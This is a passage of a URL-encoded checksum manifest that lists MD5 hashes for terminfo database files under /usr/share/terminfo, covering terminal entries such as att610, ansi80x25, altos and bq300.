att605-w%0A3e4db18cc0d129582e7986c8d1bca8c8%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt610%0A9982f1d620b920cf4da3cdad1215b0d8%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt610-103k%0Ac9916cfc90b5e416a0bb1a1bad280b3b%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt610-103k-w%0A37fc55ec67b1af7d5e0407fab87a8ca3%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt610-w%0A6b38b980fda564f2261cabe7f47528da%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt615%0A80c96e7c5b8c72bd22e6b03b24ee9c51%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt615-103k%0A58c1cac1a10458085b76e18f560c49dd%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt615-103k-w%0A863df7832f7c80e69b85d24cd3700e5c%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt615-w%0A6283aa16dddac59e12972491afcd79d8%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt620%0Ab4e7a650145e4d42c39823d70d88b592%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt620-103k%0A26bea99136fa271024ab40ad973d615a%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt620-103k-w%0A86bbde28e76c014d2075f5255c973980%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt620-w%0Ab73ed1b82a1ff4bafe73c93f1bef4ebe%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt630%0A0b84248f81b048a8f13822e51506d7fc%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt700%0A684c858abb294385e1f5771b221e6a1b%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt730%0A9464f009335d27229441f5dc890055ff%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Favatar0%0Ac2b5643ef4d76a4ad04eaf5940b691e9%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Favatar0%2B%0Ab18b69f72c503c34569798f78de617ee%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Favt%2Bs%0A078e8bf7ebe158d2856cc19cecaa4081%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Favt-ns%0Ace9acef647a61373f1e8ed68dd09fc19%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Favt-rv-ns%0Aaa35d0464f59f21d782b18a833241699%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Favt-w-ns%0Ae2101f27070636765911424903e1f935%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Favt-w-rv-ns%0Aa1bea123021b7053fdb23f99a02a6ed7%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Favt-s%0Aeebb119122bbd1881c90f9cd36a0861b%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fapl%0Aa712f47f02a6b0e9d2876423a051d24f%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Favt-w-rv-s%0Aa712f47f02a6b0e9d2876423a051d24f%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Favt-w-rv%0Afb4a5e364e6b7b015b5aa8030e112161%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Favt-w-s%0Afb4a5e364e6b7b015b5aa8030e112161%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Favt-w%0Ab581c30ef086d0921102efd9a71eebbe%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Favt-rv-s%0Ab581c30ef086d0921102efd9a71eebbe%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Favt-rv%0A26106be394fea470d10db5f45043cdd5%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt5620-s%0Aa1bea123021b7053fdb23f99a02a6ed7%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Favt%0Aa787bf1884d82979f7fbd05cf8c99ab5%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Favatar1%0Aa787bf1884d82979f7fbd05cf8c99ab5%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Favatar%0Ab606ed7aedc91177bf9ce0f08a6626a4%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt5430%0A0ddbd312dacd1d0b87fe46eeb9f74308%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Falt7%0A3f2890a7933ee14b720fe7447110cb04%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt5620-34%0Af86690c1a0f6764908397203a7447987%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt5620-24%0A1a54a2583ea338aaeb811913639f8ae3%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt5620-1%0A652bf8106562b940a9c26ad87a6a43c3%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt5320%0A652bf8106562b940a9c26ad87a6a43c3%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt5310%0A36248b98e633b1756730ce83777c34fe%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt510d%0A817559f6046cac7e98654602b3f9bd90%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt510a%0A5e1525e32fb11bc980261b88a17f5114%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt505-24%0A89e9f703f8a96f653d18380cf1e2a715%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt4425-w%0Ab606ed7aedc91177bf9ce0f08a6626a4%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt505%0A22e4c5642ceca691d6d815bbdc1c36f6%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt513%0A22e4c5642ceca691d6d815bbdc1c36f6%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt500%0Ae56382fd4f2e0cb27f6f32f0710fb7be%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt4426%0A89e9f703f8a96f653d18380cf1e2a715%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt5425-w%0Ae00d9878f1dc2d15216c32e478a85859%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt5425-nl%0Af1eda0ced4c0ddab4cfde7310f1d76c4%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt5425%0Af4d813452b2ee03a02f5b96b3e7f8208%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt4424m%0Ae00d9878f1dc2d15216c32e478a85859%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt4425-nl%0Afce79299b2a6cd8e5711099676c13f27%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt4424-1%0Af1eda0ced4c0ddab4cfde7310f1d76c4%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt4425%0Ab9df3fa2169fe97671963772761530e1%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt4418-w%0Acc4449e6904dba2cb675b8c46262e22d%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt4424%0A62511ae8e4ad8106d5e805d81fbb01fb%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt4420%0A77ad13dd75c85cf7244b21ab2212c7bf%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt4415-w-rv-n%0Ab9df3fa2169fe97671963772761530e1%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt5418-w%0Ad8620ae2c8300b8d09de1dc30552cffa%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt5418%0Ad8620ae2c8300b8d09de1dc30552cffa%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt4418%0A77ad13dd75c85cf7244b21ab2212c7bf%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt5420-w-rv-n%0A6ad6626ff1064a6d5ed8fcea8da52283%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt5420-w-rv%0A1c436f79afebddabc8f3d87083049a22%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt5420-w-nl%0Abb970cdbe3495e42920f1d3951195f1c%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt4415-w%0A6ad6626ff1064a6d5ed8fcea8da52283%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt4415-w-rv%0Abb970cdbe3495e42920f1d3951195f1c%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt5420-w%0A14b7db11069492d2c66a68c42e0d8166%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Falt4%0A1c436f79afebddabc8f3d87083049a22%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt4415-w-nl%0A6fe5e8a6aad724211682f3c1663ed2a9%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt5420-rv-nl%0A7311c2d6449e6ace35868922e6625f1e%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt5420-rv%0Aa178e0150544fc86f76ac8b052254916%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt4415-nl%0A6fe5e8a6aad724211682f3c1663ed2a9%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt4415-rv-nl%0Aa178e0150544fc86f76ac8b052254916%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt5420-nl%0A7311c2d6449e6ace35868922e6625f1e%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt4415-rv%0A278dc038f9b91a1f434aa299d5c9e3af%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt5420%2Bnl%0A38c19b3d838815f8bea5729dfcf67b44%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt5420%0Afd8bd381dba18f392ce7491d63dc0ebc%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt4410v1-w%0A278dc038f9b91a1f434aa299d5c9e3af%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt4415%2Bnl%0Afd8bd381dba18f392ce7491d63dc0ebc%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt5410v1-w%0A38c19b3d838815f8bea5729dfcf67b44%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt4415%0Ae1b328f9450001d0d4023d326274fa3e%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt5410v1%0Ac9fd7f1a77fbe8df150adaa5126799bd%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt5410%0A5049f4a10c89bee96cf78954a2ed0ac4%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt2300%0Ae1b328f9450001d0d4023d326274fa3e%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt4410v1%0A901f89a4a11f91be77eb9d730b26a573%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Farm100-w%0Ac9fd7f1a77fbe8df150adaa5126799bd%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt4410%0A4a4e9950dfca3c8ec79345cdeb6093e6%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fapple-videx3%0A901f89a4a11f91be77eb9d730b26a573%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Farm100-wam%0A971505f22fdede5f8f214a753be9793b%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Farm100-am%0A971505f22fdede5f8f214a753be9793b%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Farm100%0A8b5d1b5da5c406ffaa3e9df0689625ac%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2FappleIIe%0A8b5d1b5da5c406ffaa3e9df0689625ac%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2FappleIIgs%0A50be921e7992d8895147a8cf2fc141f3%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fap-vm80%0A8b5d1b5da5c406ffaa3e9df0689625ac%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2FappleIIc%0A58cbd447d280085c7c563957b824a522%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fansi80x60-mono%0A50be921e7992d8895147a8cf2fc141f3%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fapple-vm80%0A1b61e01cbac5139f8370c07cb01a0d41%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fansil%0Ac7a2564970bd4cdc8085e86585ce7a82%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Falt3%0A8e7c12b2074cafb59d1986053e5eb6c0%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fansi80x60%0Ade2422a6231b515d23ffa08957d7d150%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fansil-mono%0Ac7a2564970bd4cdc8085e86585ce7a82%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Falt5%0Ade2422a6231b515d23ffa08957d7d150%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fansi80x50-mono%0A0f0e0e7110973a8dabc9fc275029b5af%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fansi80x43-mono%0A1b61e01cbac5139f8370c07cb01a0d41%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fansi80x50%0A7343fe32c4c9c51fbd038e07b77427cd%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Falt2%0Aa04c1508afbd5a24d7ad328612f33983%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fansi80x30-mono%0A8218f0ef537ccf0b37437c9128f4921f%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fansi80x43%0Aa95f7fe2156e398aeadd836bf7083a8a%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fansis%0A6e83e40446d7952485f03c7772a4e157%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Faj%0A57a3d3b58f0b0e7b1dd51e9f49536f96%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fansi80x30%0Aabdef3bdc8c25070458210680a65039b%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fansiw%0A2f428c38d3c19114498965ab840c1cbe%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fansi43m%0Aabdef3bdc8c25070458210680a65039b%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fansi80x25-raw%0A52b1a856fa660264f339078b4215cc58%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fansis-mono%0A9528c70112df521afdeee05ae02a8723%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fadm1%0A52b1a856fa660264f339078b4215cc58%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fansi80x25-mono%0A5a31d10a49e77987b7c1ff584c79ec23%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fansi.sysk%0Aa95f7fe2156e398aeadd836bf7083a8a%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fansi80x25%0A3e4c7c2e62448fe17c33a925d7bf849c%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Faddsviewpoint%0A5a31d10a49e77987b7c1ff584c79ec23%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fansisysk%0A5b2a31e020e45acef8b3154423e36061%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fansi-nt%0A6de7bcf7fef7ad12bcd51dcb16b5f5f5%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fansi-mono%0A6de7bcf7fef7ad12bcd51dcb16b5f5f5%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fansi-m%0Ae2d2502a4b44458454d90518d4fd469a%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fampex232%0A9021f7c7c84f96b0cf36e3f26d93edd8%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fact5%0Ae2d2502a4b44458454d90518d4fd469a%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fampex-232%0Aa28bb6b85a97c35fcf85efcf6ffd47c0%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fampex-219w%0Aa28bb6b85a97c35fcf85efcf6ffd47c0%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fampex219w%0A914107f21c01de28425bfad0c3105cf5%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fact4%0Aa28bb6b85a97c35fcf85efcf6ffd47c0%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Famp219w%0A9722c29b09f65a8e5808d07f1581e598%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fampex-219%0A9722c29b09f65a8e5808d07f1581e598%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fampex219%0Aa2b14aa93f5c3dd5e27a144d5f98ef12%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Falto-h19%0A9722c29b09f65a8e5808d07f1581e598%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Famp219%0Aa2b14aa93f5c3dd5e27a144d5f98ef12%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Falto-heath%0Aa2b14aa93f5c3dd5e27a144d5f98ef12%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Faltoh19%0Aa2b14aa93f5c3dd5e27a144d5f98ef12%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Faltoheath%0Ad13bc0d463937768a517e5cf9ad34fc9%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Faltos7pc%0Ad13bc0d463937768a517e5cf9ad34fc9%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Falt7pc%0A0ddbd312dacd1d0b87fe46eeb9f74308%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Faltos7%0A14b7db11069492d2c66a68c42e0d8166%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Faltos-4%0A14b7db11069492d2c66a68c42e0d8166%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Faltos4%0Ac7a2564970bd4cdc8085e86585ce7a82%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Faltos-3%0Ac7a2564970bd4cdc8085e86585ce7a82%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Faltos-5%0Ac7a2564970bd4cdc8085e86585ce7a82%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Faltos3%0Ac7a2564970bd4cdc8085e86585ce7a82%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Faltos5%0A7343fe32c4c9c51fbd038e07b77427cd%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Faltos-2%0A7343fe32c4c9c51fbd038e07b77427cd%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Faltos2%0A6e83e40446d7952485f03c7772a4e157%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Faj830%0A6e83e40446d7952485f03c7772a4e157%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Faj832%0Ada0c0f951e2ebf0495a54a673f8de8b9%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fadm31-old%0A9528c70112df521afdeee05ae02a8723%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fadm1a%0Aac80a1494d15a816763163dc6f0a36dd%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Faddsvp60%0A58f34a22add2da76b0d6072be68c4f4b%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Faaa-30-s-rv-ct%0Ae15ea84939ded84b0d94c259d9563f2d%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fabm85h-old%0Ac59970672f999bda9dca2714218db1ac%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fampex80%0Ac59970672f999bda9dca2714218db1ac%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fa80%0A58f34a22add2da76b0d6072be68c4f4b%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Faaa-s-rv-ctxt%0A5cefab6c4a6076df866dfb27cdd2e2de%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Faaa-s-rv%0A830a892d480f81ed728e006e8a87e084%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Faaa%0A5cefab6c4a6076df866dfb27cdd2e2de%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Faaa-30-s-rv%0A35a505a24188e9dfa367e3ca661b81c8%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Faaa-s-ctxt%0Ad6088411aadf981b55ab17800011735c%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fa980%0A35a505a24188e9dfa367e3ca661b81c8%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Faaa-30-s-ctxt%0Ac3f0e630b88c4c35d834591a5afc2fed%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Faaa-s%0A12009b857fc38e4d15edc522d470f04e%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fa210%0Ac3f0e630b88c4c35d834591a5afc2fed%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Faaa-30-s%0A61efcb4cf29c0c3959f43a50fcb6f5cd%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Faaa-rv-ctxt%0A61efcb4cf29c0c3959f43a50fcb6f5cd%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Faaa-30-rv-ctxt%0A76d6bf7c96bf5531d908c2aa6b0a3fd6%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Faaa-rv%0A76d6bf7c96bf5531d908c2aa6b0a3fd6%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Faaa-30-rv%0A24c4cbf397388d446cb7246d4c44e165%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Faaa-ctxt%0A24c4cbf397388d446cb7246d4c44e165%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Faaa-30-ctxt%0A6f89fa0522e64ada7db5f3e2a448c14b%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Faaa-unk%0A6f89fa0522e64ada7db5f3e2a448c14b%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Faaa%2Bunk%0A830a892d480f81ed728e006e8a87e084%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Faaa-30%0A830a892d480f81ed728e006e8a87e084%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fambas%0A830a892d480f81ed728e006e8a87e084%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fambassador%0Ad103b99ec8152aeaac3c3b4827f62d79%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fannarbor4080%0Ad103b99ec8152aeaac3c3b4827f62d79%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Faa4080%0Ad6088411aadf981b55ab17800011735c%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fadds980%0A2f30f801560b2a043bdea05dd69973ef%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt5410-w%0A12009b857fc38e4d15edc522d470f04e%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fampex210%0Af829cec18d50d9a0083d5bb4026753db%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt730r-24%0Ab413d2a19df2f221aaa222fa208cef8c%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt730r%0Aa8f6c9e00211bb978a1d435e9cbb090f%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt730r-41%0A4453dbad4396a1f73e475011addc0da0%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt730-41%0A48801937ded0c4313dad1d8464c5d65d%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt730-24%0A22660320b2118e7695caa61a601ba3f0%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt630-24%0Adcd9663215f0f0842677ec569872fe06%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt5620%0A2f30f801560b2a043bdea05dd69973ef%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt4410-w%0Ad4ab82bc9687170f7669b3502206d6fd%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt7300%0A03fcc3f65ab91a3caa7ec31a01cae145%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fatt6386%0A03fcc3f65ab91a3caa7ec31a01cae145%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fat386%0A5397dce6f4332c53430b011a45086e68%20%20%2Fusr%2Fshare%2Fterminfo%2Fa%2Fadm1178%0A09825853ef5bddc5beca533cb3826f80%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbg1.25nv%0A0210103eb2950810a329cba29c44a66f%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbasis%0A259362d5141f1cb77d5172a0399cd71b%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbeacon%0A89f760689f2f64eec5b432287eac8ef5%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbeterm%0A6fef8ce334c0363ded08c92f756b49d7%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbg1.25%0A1c3bb4cfcccc203f8b0066239e9f1bea%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbq300-8-pc-rv%0A07c8f35264d4ea1dad6dca2e7fddca15%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbg1.25rv%0A1ac232fa5b179313ac44b697691ff9c3%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbq300%0A9498656f46647c63b1d04c0bc45bf4ee%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbq300-8%0A2684425b965cec9f09d8a778e9b9a0df%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbeehive3%0A4742fabfe26bd1ed14d5080e30e52bb3%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbh4%0A6fe847c1f4c1e04a9f86e4e24edb63f6%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbq300-8-pc-w%0Ac18ce449dc0e74f936bca2e43d85730c%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbq300-8-pc-w-rv%0A5256d17403cb1adc120adbfc8b7c4a22%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbq300-8rv%0Aedef601cc062d5c6e30c45c3cb0e061e%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbq300-8w%0Afcc4cad0fb80d3c5a9157b3e4846410b%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbq300-pc%0A2c358e4c0e450d0c1e2a420f1905dc05%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbq300-pc-rv%0Af237749f72b4cc2ed1babcf15a71c7bc%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbq300-pc-w%0Ae9332dd30dcfc31cc71a5d8e9b78dea4%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbq300-pc-w-rv%0A4be9e3c325a89fb21d35a74b6b3446dc%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbq300-rv%0A3b2c2ffb37d4f7add9d85f7f70a87f3a%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbq300-w%0A6d9a6be76a46ce3863ae99d596d4f713%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbq300-w-8rv%0Adc98ce7a1512dd17afc9dffec1500a18%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbq300-w-rv%0Ade937936bec1010b563f010c56a5c867%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbsdos-pc%0Ae39be8b6fc4d298836b7b4eaa11a6c01%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbsdos-pc-nobold%0A16a94820bc1067c9ad80dcebdf200931%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbsdos-ppc%0Aab4cbc8d65180dfb9d76ca49d56191d5%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbsdos-sparc%0A117280ad59fa5c49b5826431eda718ab%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbsdos-pc-mono%0A117280ad59fa5c49b5826431eda718ab%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbsdos-pc-m%0A6bbb67acada70364d6c2306271a9557d%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbobcat%0A088e6e8c5730caba8e52876709cf201f%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fblit%0A25961d08d99e894fd2449d97d026f264%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbg3.10rv%0A25961d08d99e894fd2449d97d026f264%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbg2.0rv%0Af90029120271c1b1f0e4f5e2bce8608b%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbg3.10nv%0Af90029120271c1b1f0e4f5e2bce8608b%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbitgraph%0Ab7033452ff5bc3ce1fbbedd1c3562402%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbg2.0%0Af90029120271c1b1f0e4f5e2bce8608b%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbg2.0nv%0Ab7033452ff5bc3ce1fbbedd1c3562402%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbg3.10%0A4742fabfe26bd1ed14d5080e30e52bb3%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2Fbeehive4%0A2684425b965cec9f09d8a778e9b9a0df%20%20%2Fusr%2Fshare%2Fterminfo%2Fb%2FbeehiveIIIm%0A2684425b965cec9f09d8a778e9b9a0